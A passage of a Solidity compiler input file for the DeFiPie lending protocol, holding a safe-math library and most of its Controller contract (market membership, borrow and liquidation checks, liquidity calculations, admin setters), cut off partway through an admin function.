{{ "language": "Solidity", "settings": { "evmVersion": "istanbul", "libraries": {}, "metadata": { "bytecodeHash": "ipfs", "useLiteralContent": true }, "optimizer": { "enabled": true, "runs": 1000 }, "remappings": [], "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "abi" ] } } }, "sources": { "contracts/CarefulMath.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\n/**\r\n * @title Careful Math\r\n * @author DeFiPie\r\n * @notice Derived from OpenZeppelin's SafeMath library\r\n * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol\r\n */\r\ncontract CarefulMath {\r\n\r\n /**\r\n * @dev Possible error codes that we can return\r\n */\r\n enum MathError {\r\n NO_ERROR,\r\n DIVISION_BY_ZERO,\r\n INTEGER_OVERFLOW,\r\n INTEGER_UNDERFLOW\r\n }\r\n\r\n /**\r\n * @dev Multiplies two numbers, returns an error on overflow.\r\n */\r\n function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {\r\n if (a == 0) {\r\n return (MathError.NO_ERROR, 0);\r\n }\r\n\r\n uint c = a * b;\r\n\r\n if (c / a != b) {\r\n return (MathError.INTEGER_OVERFLOW, 0);\r\n } else {\r\n return (MathError.NO_ERROR, c);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Integer division of two numbers, truncating the quotient.\r\n */\r\n function divUInt(uint a, uint b) internal pure returns (MathError, uint) {\r\n if (b == 0) {\r\n return (MathError.DIVISION_BY_ZERO, 0);\r\n }\r\n\r\n return (MathError.NO_ERROR, a / b);\r\n }\r\n\r\n /**\r\n * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).\r\n */\r\n function subUInt(uint a, uint b) internal pure returns (MathError, uint) {\r\n if (b <= a) {\r\n return (MathError.NO_ERROR, a - b);\r\n } else {\r\n return (MathError.INTEGER_UNDERFLOW, 0);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Adds two numbers, returns an error on overflow.\r\n */\r\n function addUInt(uint a, uint b) internal pure returns (MathError, uint) {\r\n uint c = a + b;\r\n\r\n if (c >= a) {\r\n return (MathError.NO_ERROR, c);\r\n } else {\r\n return (MathError.INTEGER_OVERFLOW, 0);\r\n }\r\n }\r\n\r\n /**\r\n * @dev add a and b and then subtract c\r\n */\r\n function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {\r\n (MathError err0, uint sum) = addUInt(a, b);\r\n\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, 0);\r\n }\r\n\r\n return subUInt(sum, c);\r\n }\r\n}", "keccak256": "0xefaaed114e3f81484c1fa4166c972f6cf6dcd0ab746cab864a43aaabed75e918" }, "contracts/Controller.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./ErrorReporter.sol\";\r\nimport \"./Exponential.sol\";\r\nimport \"./PriceOracle.sol\";\r\nimport \"./ControllerInterface.sol\";\r\nimport \"./ControllerStorage.sol\";\r\nimport \"./PTokenInterfaces.sol\";\r\nimport \"./EIP20Interface.sol\";\r\nimport \"./Unitroller.sol\";\r\n\r\n/**\r\n * @title DeFiPie's Controller Contract\r\n * @author DeFiPie\r\n */\r\ncontract Controller is ControllerStorage, ControllerInterface, ControllerErrorReporter, Exponential {\r\n /// @notice Emitted when an admin supports a market\r\n event MarketListed(address pToken);\r\n\r\n /// @notice Emitted when an account enters a market\r\n event MarketEntered(address pToken, address account);\r\n\r\n /// @notice Emitted when an account exits a market\r\n event MarketExited(address pToken, address account);\r\n\r\n /// @notice Emitted when close factor is changed by admin\r\n event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa);\r\n\r\n /// @notice Emitted when a collateral factor is changed by admin\r\n event NewCollateralFactor(address pToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa);\r\n\r\n /// @notice Emitted when liquidation incentive is changed by admin\r\n event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa);\r\n\r\n /// @notice Emitted when maxAssets is changed by admin\r\n event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets);\r\n\r\n /// @notice Emitted when price oracle is changed\r\n event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle);\r\n\r\n /// @notice Emitted when pause guardian is changed\r\n event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian);\r\n\r\n /// @notice Emitted when an action is paused globally\r\n event ActionPaused(string action, bool pauseState);\r\n\r\n /// @notice Emitted when an action is paused on a market\r\n event ActionPaused(address pToken, string action, bool pauseState);\r\n\r\n /// @notice Emitted when a new PIE speed is calculated for a market\r\n event PieSpeedUpdated(address indexed pToken, uint newSpeed);\r\n\r\n /// @notice Emitted when PIE is distributed to a supplier\r\n event DistributedSupplierPie(address indexed pToken, address indexed supplier, uint pieDelta, uint pieSupplyIndex);\r\n\r\n /// @notice Emitted when PIE is distributed to a borrower\r\n event DistributedBorrowerPie(address indexed pToken, address indexed borrower, uint pieDelta, uint pieBorrowIndex);\r\n\r\n /// @notice The threshold above which the flywheel transfers PIE, in wei\r\n uint public constant pieClaimThreshold = 0.001e18;\r\n\r\n /// @notice The initial PIE index for a market\r\n uint224 public constant pieInitialIndex = 1e36;\r\n\r\n // closeFactorMantissa must be strictly greater than this value\r\n uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05\r\n\r\n // closeFactorMantissa must not exceed this value\r\n uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9\r\n\r\n // No collateralFactorMantissa may exceed this value\r\n uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9\r\n\r\n // liquidationIncentiveMantissa must be no less than this value\r\n uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0\r\n\r\n // liquidationIncentiveMantissa must be no greater than this value\r\n uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5\r\n\r\n constructor() {\r\n admin = msg.sender;\r\n }\r\n\r\n /*** Assets You Are In ***/\r\n\r\n /**\r\n * @notice Returns the assets an account has entered\r\n * @param account The address of the account to pull assets for\r\n * @return A dynamic list with the assets the account has entered\r\n */\r\n function getAssetsIn(address account) external view returns (address[] memory) {\r\n address[] memory assetsIn = accountAssets[account];\r\n\r\n return assetsIn;\r\n }\r\n\r\n /**\r\n * @notice Returns whether the given account is entered in the given asset\r\n * @param account The address of the account to check\r\n * @param pToken The pToken to check\r\n * @return True if the account is in the asset, otherwise false.\r\n */\r\n function checkMembership(address account, address pToken) external view returns (bool) {\r\n return markets[pToken].accountMembership[account];\r\n }\r\n\r\n /**\r\n * @notice Add assets to be included in account liquidity calculation\r\n * @param pTokens The list of addresses of the pToken markets to be enabled\r\n * @return Success indicator for whether each corresponding market was entered\r\n */\r\n function enterMarkets(address[] memory pTokens) public override returns (uint[] memory) {\r\n uint len = pTokens.length;\r\n\r\n uint[] memory results = new uint[](len);\r\n for (uint i = 0; i < len; i++) {\r\n address pToken = pTokens[i];\r\n\r\n results[i] = uint(addToMarketInternal(pToken, msg.sender));\r\n }\r\n\r\n return results;\r\n }\r\n\r\n /**\r\n * @notice Add the market to the borrower's \"assets in\" for liquidity calculations\r\n * @param pToken The market to enter\r\n * @param borrower The address of the account to modify\r\n * @return Success indicator for whether the market was entered\r\n */\r\n function addToMarketInternal(address pToken, address borrower) internal returns (Error) {\r\n Market storage marketToJoin = markets[pToken];\r\n\r\n if (!marketToJoin.isListed) {\r\n // market is not listed, cannot join\r\n return Error.MARKET_NOT_LISTED;\r\n }\r\n\r\n if (marketToJoin.accountMembership[borrower] == true) {\r\n // already joined\r\n return Error.NO_ERROR;\r\n }\r\n\r\n if (accountAssets[borrower].length >= maxAssets) {\r\n // no space, cannot join\r\n return Error.TOO_MANY_ASSETS;\r\n }\r\n\r\n // survived the gauntlet, add to list\r\n // NOTE: we store these somewhat redundantly as a significant optimization\r\n // this avoids having to iterate through the list for the most common use cases\r\n // that is, only when we need to perform liquidity checks\r\n // and not whenever we want to check if an account is in a particular market\r\n marketToJoin.accountMembership[borrower] = true;\r\n accountAssets[borrower].push(pToken);\r\n\r\n emit MarketEntered(pToken, borrower);\r\n\r\n return Error.NO_ERROR;\r\n }\r\n\r\n /**\r\n * @notice Removes asset from sender's account liquidity calculation\r\n * @dev Sender must not have an outstanding borrow balance in the asset,\r\n * or be providing neccessary collateral for an outstanding borrow.\r\n * @param pTokenAddress The address of the asset to be removed\r\n * @return Whether or not the account successfully exited the market\r\n */\r\n function exitMarket(address pTokenAddress) external override returns (uint) {\r\n address pToken = pTokenAddress;\r\n /* Get sender tokensHeld and amountOwed underlying from the pToken */\r\n (uint oErr, uint tokensHeld, uint amountOwed, ) = PTokenInterface(pToken).getAccountSnapshot(msg.sender);\r\n require(oErr == 0, \"exitMarket: getAccountSnapshot failed\"); // semi-opaque error code\r\n\r\n /* Fail if the sender has a borrow balance */\r\n if (amountOwed != 0) {\r\n return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED);\r\n }\r\n\r\n /* Fail if the sender is not permitted to redeem all of their tokens */\r\n uint allowed = redeemAllowedInternal(pTokenAddress, msg.sender, tokensHeld);\r\n if (allowed != 0) {\r\n return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed);\r\n }\r\n\r\n Market storage marketToExit = markets[pToken];\r\n\r\n /* Return true if the sender is not already ‘in’ the market */\r\n if (!marketToExit.accountMembership[msg.sender]) {\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /* Set pToken account membership to false */\r\n delete marketToExit.accountMembership[msg.sender];\r\n\r\n /* Delete pToken from the account’s list of assets */\r\n // load into memory for faster iteration\r\n address[] memory userAssetList = accountAssets[msg.sender];\r\n uint len = userAssetList.length;\r\n uint assetIndex = len;\r\n for (uint i = 0; i < len; i++) {\r\n if (userAssetList[i] == pToken) {\r\n assetIndex = i;\r\n break;\r\n }\r\n }\r\n\r\n // We *must* have found the asset in the list or our redundant data structure is broken\r\n assert(assetIndex < len);\r\n\r\n // copy last item in list to location of item to be removed, reduce length by 1\r\n address[] storage storedList = accountAssets[msg.sender];\r\n storedList[assetIndex] = storedList[storedList.length - 1];\r\n storedList.pop(); //storedList.length--;\r\n\r\n emit MarketExited(pToken, msg.sender);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /*** Policy Hooks ***/\r\n\r\n /**\r\n * @notice Checks if the account should be allowed to mint tokens in the given market\r\n * @param pToken The market to verify the mint against\r\n * @param minter The account which would get the minted tokens\r\n * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens\r\n * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)\r\n */\r\n function mintAllowed(address pToken, address minter, uint mintAmount) external override returns (uint) {\r\n // Pausing is a very serious situation - we revert to sound the alarms\r\n require(!mintGuardianPaused[pToken], \"mint is paused\");\r\n\r\n // Shh - currently unused\r\n minter;\r\n mintAmount;\r\n\r\n if (!markets[pToken].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n // Keep the flywheel moving\r\n updatePieSupplyIndex(pToken);\r\n distributeSupplierPie(pToken, minter, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Checks if the account should be allowed to redeem tokens in the given market\r\n * @param pToken The market to verify the redeem against\r\n * @param redeemer The account which would redeem the tokens\r\n * @param redeemTokens The number of pTokens to exchange for the underlying asset in the market\r\n * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)\r\n */\r\n function redeemAllowed(address pToken, address redeemer, uint redeemTokens) external override returns (uint) {\r\n uint allowed = redeemAllowedInternal(pToken, redeemer, redeemTokens);\r\n if (allowed != uint(Error.NO_ERROR)) {\r\n return allowed;\r\n }\r\n\r\n // Keep the flywheel moving\r\n updatePieSupplyIndex(pToken);\r\n distributeSupplierPie(pToken, redeemer, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n function redeemAllowedInternal(address pToken, address redeemer, uint redeemTokens) internal view returns (uint) {\r\n if (!markets[pToken].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */\r\n if (!markets[pToken].accountMembership[redeemer]) {\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */\r\n (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, pToken, redeemTokens, 0);\r\n if (err != Error.NO_ERROR) {\r\n return uint(err);\r\n }\r\n if (shortfall > 0) {\r\n return uint(Error.INSUFFICIENT_LIQUIDITY);\r\n }\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Validates redeem and reverts on rejection. May emit logs.\r\n * @param pToken Asset being redeemed\r\n * @param redeemer The address redeeming the tokens\r\n * @param redeemAmount The amount of the underlying asset being redeemed\r\n * @param redeemTokens The number of tokens being redeemed\r\n */\r\n function redeemVerify(address pToken, address redeemer, uint redeemAmount, uint redeemTokens) external override {\r\n // Shh - currently unused\r\n pToken;\r\n redeemer;\r\n\r\n // Require tokens is zero or amount is also zero\r\n if (redeemTokens == 0 && redeemAmount > 0) {\r\n revert(\"redeemTokens zero\");\r\n }\r\n }\r\n\r\n /**\r\n * @notice Checks if the account should be allowed to borrow the underlying asset of the given market\r\n * @param pToken The market to verify the borrow against\r\n * @param borrower The account which would borrow the asset\r\n * @param borrowAmount The amount of underlying the account would borrow\r\n * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)\r\n */\r\n function borrowAllowed(address pToken, address borrower, uint borrowAmount) external override returns (uint) {\r\n // Pausing is a very serious situation - we revert to sound the alarms\r\n require(!borrowGuardianPaused[pToken], \"borrow is paused\");\r\n\r\n if (!markets[pToken].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n Error err;\r\n\r\n if (!markets[pToken].accountMembership[borrower]) {\r\n // only pTokens may call borrowAllowed if borrower not in market\r\n require(msg.sender == pToken, \"sender must be pToken\");\r\n\r\n // attempt to add borrower to the market\r\n err = addToMarketInternal(msg.sender, borrower);\r\n if (err != Error.NO_ERROR) {\r\n return uint(err);\r\n }\r\n\r\n // it should be impossible to break the important invariant\r\n assert(markets[pToken].accountMembership[borrower]);\r\n }\r\n\r\n if (oracle.getUnderlyingPrice(pToken) == 0) {\r\n return uint(Error.PRICE_ERROR);\r\n }\r\n\r\n uint shortfall;\r\n\r\n (err, , shortfall) = getHypotheticalAccountLiquidityInternal(borrower, pToken, 0, borrowAmount);\r\n if (err != Error.NO_ERROR) {\r\n return uint(err);\r\n }\r\n if (shortfall > 0) {\r\n return uint(Error.INSUFFICIENT_LIQUIDITY);\r\n }\r\n\r\n // Keep the flywheel moving\r\n Exp memory borrowIndex = Exp({mantissa: PTokenInterface(pToken).borrowIndex()});\r\n updatePieBorrowIndex(pToken, borrowIndex);\r\n distributeBorrowerPie(pToken, borrower, borrowIndex, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Checks if the account should be allowed to repay a borrow in the given market\r\n * @param pToken The market to verify the repay against\r\n * @param payer The account which would repay the asset\r\n * @param borrower The account which would borrowed the asset\r\n * @param repayAmount The amount of the underlying asset the account would repay\r\n * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)\r\n */\r\n function repayBorrowAllowed(\r\n address pToken,\r\n address payer,\r\n address borrower,\r\n uint repayAmount\r\n ) external override returns (uint) {\r\n // Shh - currently unused\r\n payer;\r\n borrower;\r\n repayAmount;\r\n\r\n if (!markets[pToken].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n // Keep the flywheel moving\r\n Exp memory borrowIndex = Exp({mantissa: PTokenInterface(pToken).borrowIndex()});\r\n updatePieBorrowIndex(pToken, borrowIndex);\r\n distributeBorrowerPie(pToken, borrower, borrowIndex, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Checks if the liquidation should be allowed to occur\r\n * @param pTokenBorrowed Asset which was borrowed by the borrower\r\n * @param pTokenCollateral Asset which was used as collateral and will be seized\r\n * @param liquidator The address repaying the borrow and seizing the collateral\r\n * @param borrower The address of the borrower\r\n * @param repayAmount The amount of underlying being repaid\r\n */\r\n function liquidateBorrowAllowed(\r\n address pTokenBorrowed,\r\n address pTokenCollateral,\r\n address liquidator,\r\n address borrower,\r\n uint repayAmount\r\n ) external override returns (uint) {\r\n // Shh - currently unused\r\n liquidator;\r\n\r\n if (!markets[pTokenBorrowed].isListed || !markets[pTokenCollateral].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n /* The borrower must have shortfall in order to be liquidatable */\r\n (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower);\r\n if (err != Error.NO_ERROR) {\r\n return uint(err);\r\n }\r\n if (shortfall == 0) {\r\n return uint(Error.INSUFFICIENT_SHORTFALL);\r\n }\r\n\r\n /* The liquidator may not repay more than what is allowed by the closeFactor */\r\n uint borrowBalance = PTokenInterface(pTokenBorrowed).borrowBalanceStored(borrower);\r\n (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance);\r\n if (mathErr != MathError.NO_ERROR) {\r\n return uint(Error.MATH_ERROR);\r\n }\r\n if (repayAmount > maxClose) {\r\n return uint(Error.TOO_MUCH_REPAY);\r\n }\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Checks if the seizing of assets should be allowed to occur\r\n * @param pTokenCollateral Asset which was used as collateral and will be seized\r\n * @param pTokenBorrowed Asset which was borrowed by the borrower\r\n * @param liquidator The address repaying the borrow and seizing the collateral\r\n * @param borrower The address of the borrower\r\n * @param seizeTokens The number of collateral tokens to seize\r\n */\r\n function seizeAllowed(\r\n address pTokenCollateral,\r\n address pTokenBorrowed,\r\n address liquidator,\r\n address borrower,\r\n uint seizeTokens\r\n ) external override returns (uint) {\r\n // Pausing is a very serious situation - we revert to sound the alarms\r\n require(!seizeGuardianPaused, \"seize is paused\");\r\n\r\n // Shh - currently unused\r\n seizeTokens;\r\n\r\n if (!markets[pTokenCollateral].isListed || !markets[pTokenBorrowed].isListed) {\r\n return uint(Error.MARKET_NOT_LISTED);\r\n }\r\n\r\n if (PTokenInterface(pTokenCollateral).controller() != PTokenInterface(pTokenBorrowed).controller()) {\r\n return uint(Error.CONTROLLER_MISMATCH);\r\n }\r\n\r\n // Keep the flywheel moving\r\n updatePieSupplyIndex(pTokenCollateral);\r\n distributeSupplierPie(pTokenCollateral, borrower, false);\r\n distributeSupplierPie(pTokenCollateral, liquidator, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Checks if the account should be allowed to transfer tokens in the given market\r\n * @param pToken The market to verify the transfer against\r\n * @param src The account which sources the tokens\r\n * @param dst The account which receives the tokens\r\n * @param transferTokens The number of pTokens to transfer\r\n * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)\r\n */\r\n function transferAllowed(\r\n address pToken,\r\n address src,\r\n address dst,\r\n uint transferTokens\r\n ) external override returns (uint) {\r\n // Pausing is a very serious situation - we revert to sound the alarms\r\n require(!transferGuardianPaused, \"transfer is paused\");\r\n\r\n // Currently the only consideration is whether or not\r\n // the src is allowed to redeem this many tokens\r\n uint allowed = redeemAllowedInternal(pToken, src, transferTokens);\r\n if (allowed != uint(Error.NO_ERROR)) {\r\n return allowed;\r\n }\r\n\r\n // Keep the flywheel moving\r\n updatePieSupplyIndex(pToken);\r\n distributeSupplierPie(pToken, src, false);\r\n distributeSupplierPie(pToken, dst, false);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /*** Liquidity/Liquidation Calculations ***/\r\n\r\n /**\r\n * @dev Local vars for avoiding stack-depth limits in calculating account liquidity.\r\n * Note that `pTokenBalance` is the number of pTokens the account owns in the market,\r\n * whereas `borrowBalance` is the amount of underlying that the account has borrowed.\r\n */\r\n struct AccountLiquidityLocalVars {\r\n uint sumCollateral;\r\n uint sumBorrowPlusEffects;\r\n uint pTokenBalance;\r\n uint borrowBalance;\r\n uint exchangeRateMantissa;\r\n uint oraclePriceMantissa;\r\n Exp collateralFactor;\r\n Exp exchangeRate;\r\n Exp oraclePrice;\r\n Exp tokensToDenom;\r\n }\r\n\r\n /**\r\n * @notice Determine the current account liquidity wrt collateral requirements\r\n * @return (possible error code (semi-opaque),\r\n account liquidity in excess of collateral requirements,\r\n * account shortfall below collateral requirements)\r\n */\r\n function getAccountLiquidity(address account) public view returns (uint, uint, uint) {\r\n (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, address(0), 0, 0);\r\n\r\n return (uint(err), liquidity, shortfall);\r\n }\r\n\r\n /**\r\n * @notice Determine the current account liquidity wrt collateral requirements\r\n * @return (possible error code,\r\n account liquidity in excess of collateral requirements,\r\n * account shortfall below collateral requirements)\r\n */\r\n function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) {\r\n return getHypotheticalAccountLiquidityInternal(account, address(0), 0, 0);\r\n }\r\n\r\n /**\r\n * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed\r\n * @param pTokenModify The market to hypothetically redeem/borrow in\r\n * @param account The account to determine liquidity for\r\n * @param redeemTokens The number of tokens to hypothetically redeem\r\n * @param borrowAmount The amount of underlying to hypothetically borrow\r\n * @return (possible error code (semi-opaque),\r\n hypothetical account liquidity in excess of collateral requirements,\r\n * hypothetical account shortfall below collateral requirements)\r\n */\r\n function getHypotheticalAccountLiquidity(\r\n address account,\r\n address pTokenModify,\r\n uint redeemTokens,\r\n uint borrowAmount\r\n ) public view virtual returns (uint, uint, uint) {\r\n (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, pTokenModify, redeemTokens, borrowAmount);\r\n return (uint(err), liquidity, shortfall);\r\n }\r\n\r\n /**\r\n * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed\r\n * @param pTokenModify The market to hypothetically redeem/borrow in\r\n * @param account The account to determine liquidity for\r\n * @param redeemTokens The number of tokens to hypothetically redeem\r\n * @param borrowAmount The amount of underlying to hypothetically borrow\r\n * @dev Note that we calculate the exchangeRateStored for each collateral pToken using stored data,\r\n * without calculating accumulated interest.\r\n * @return (possible error code,\r\n hypothetical account liquidity in excess of collateral requirements,\r\n * hypothetical account shortfall below collateral requirements)\r\n */\r\n function getHypotheticalAccountLiquidityInternal(\r\n address account,\r\n address pTokenModify,\r\n uint redeemTokens,\r\n uint borrowAmount\r\n ) internal view returns (Error, uint, uint) {\r\n\r\n AccountLiquidityLocalVars memory vars; // Holds all our calculation results\r\n uint oErr;\r\n MathError mErr;\r\n\r\n // For each asset the account is in\r\n address[] memory assets = accountAssets[account];\r\n for (uint i = 0; i < assets.length; i++) {\r\n address asset = assets[i];\r\n\r\n // Read the balances and exchange rate from the pToken\r\n (oErr, vars.pTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = PTokenInterface(asset).getAccountSnapshot(account);\r\n if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades\r\n return (Error.SNAPSHOT_ERROR, 0, 0);\r\n }\r\n vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});\r\n vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});\r\n\r\n // Get the normalized price of the asset\r\n vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset);\r\n if (vars.oraclePriceMantissa == 0) {\r\n return (Error.PRICE_ERROR, 0, 0);\r\n }\r\n vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});\r\n\r\n // Pre-compute a conversion factor from tokens -> ether (normalized price value)\r\n (mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice);\r\n if (mErr != MathError.NO_ERROR) {\r\n return (Error.MATH_ERROR, 0, 0);\r\n }\r\n\r\n // sumCollateral += tokensToDenom * pTokenBalance\r\n (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.pTokenBalance, vars.sumCollateral);\r\n if (mErr != MathError.NO_ERROR) {\r\n return (Error.MATH_ERROR, 0, 0);\r\n }\r\n\r\n // sumBorrowPlusEffects += oraclePrice * borrowBalance\r\n (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects);\r\n if (mErr != MathError.NO_ERROR) {\r\n return (Error.MATH_ERROR, 0, 0);\r\n }\r\n\r\n // Calculate effects of interacting with pTokenModify\r\n if (asset == pTokenModify) {\r\n // redeem effect\r\n // sumBorrowPlusEffects += tokensToDenom * redeemTokens\r\n (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects);\r\n if (mErr != MathError.NO_ERROR) {\r\n return (Error.MATH_ERROR, 0, 0);\r\n }\r\n\r\n // borrow effect\r\n // sumBorrowPlusEffects += oraclePrice * borrowAmount\r\n (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects);\r\n if (mErr != MathError.NO_ERROR) {\r\n return (Error.MATH_ERROR, 0, 0);\r\n }\r\n }\r\n }\r\n\r\n // These are safe, as the underflow condition is checked first\r\n if (vars.sumCollateral > vars.sumBorrowPlusEffects) {\r\n return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0);\r\n } else {\r\n return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral);\r\n }\r\n }\r\n\r\n /**\r\n * @notice Calculate number of tokens of collateral asset to seize given an underlying amount\r\n * @dev Used in liquidation (called in pToken.liquidateBorrowFresh)\r\n * @param pTokenBorrowed The address of the borrowed pToken\r\n * @param pTokenCollateral The address of the collateral pToken\r\n * @param actualRepayAmount The amount of pTokenBorrowed underlying to convert into pTokenCollateral tokens\r\n * @return (errorCode, number of pTokenCollateral tokens to be seized in a liquidation)\r\n */\r\n function liquidateCalculateSeizeTokens(\r\n address pTokenBorrowed,\r\n address pTokenCollateral,\r\n uint actualRepayAmount\r\n ) external view override returns (uint, uint) {\r\n /* Read oracle prices for borrowed and collateral markets */\r\n uint priceBorrowedMantissa = oracle.getUnderlyingPrice(pTokenBorrowed);\r\n uint priceCollateralMantissa = oracle.getUnderlyingPrice(pTokenCollateral);\r\n if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) {\r\n return (uint(Error.PRICE_ERROR), 0);\r\n }\r\n\r\n /*\r\n * Get the exchange rate and calculate the number of collateral tokens to seize:\r\n * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral\r\n * seizeTokens = seizeAmount / exchangeRate\r\n * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate)\r\n */\r\n uint exchangeRateMantissa = PTokenInterface(pTokenCollateral).exchangeRateStored(); // Note: reverts on error\r\n uint seizeTokens;\r\n Exp memory numerator;\r\n Exp memory denominator;\r\n Exp memory ratio;\r\n MathError mathErr;\r\n\r\n (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa);\r\n if (mathErr != MathError.NO_ERROR) {\r\n return (uint(Error.MATH_ERROR), 0);\r\n }\r\n\r\n (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa);\r\n if (mathErr != MathError.NO_ERROR) {\r\n return (uint(Error.MATH_ERROR), 0);\r\n }\r\n\r\n (mathErr, ratio) = divExp(numerator, denominator);\r\n if (mathErr != MathError.NO_ERROR) {\r\n return (uint(Error.MATH_ERROR), 0);\r\n }\r\n\r\n (mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount);\r\n if (mathErr != MathError.NO_ERROR) {\r\n return (uint(Error.MATH_ERROR), 0);\r\n }\r\n\r\n return (uint(Error.NO_ERROR), seizeTokens);\r\n }\r\n\r\n /*** Admin Functions ***/\r\n\r\n /**\r\n * @notice Sets a new price oracle for the controller\r\n * @dev Admin function to set a new price oracle\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function _setPriceOracle(PriceOracle newOracle) public returns (uint) {\r\n // Check caller is admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK);\r\n }\r\n\r\n // Track the old oracle for the controller\r\n PriceOracle oldOracle = oracle;\r\n\r\n // Set controller's oracle to newOracle\r\n oracle = newOracle;\r\n\r\n // Emit NewPriceOracle(oldOracle, newOracle)\r\n emit NewPriceOracle(oldOracle, newOracle);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Sets a PIE address for the controller\r\n * @return uint 0=success\r\n */\r\n function _setPieAddress(address pieAddress_) public returns (uint) {\r\n require(msg.sender == admin && pieAddress == address(0),\"pie address may only be initialized once\");\r\n\r\n pieAddress = pieAddress_;\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Sets the closeFactor used when liquidating borrows\r\n * @dev Admin function to set closeFactor\r\n * @param newCloseFactorMantissa New close factor, scaled by 1e18\r\n * @return uint 0=success, otherwise a failure. (See ErrorReporter for details)\r\n */\r\n function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) {\r\n // Check caller is admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, 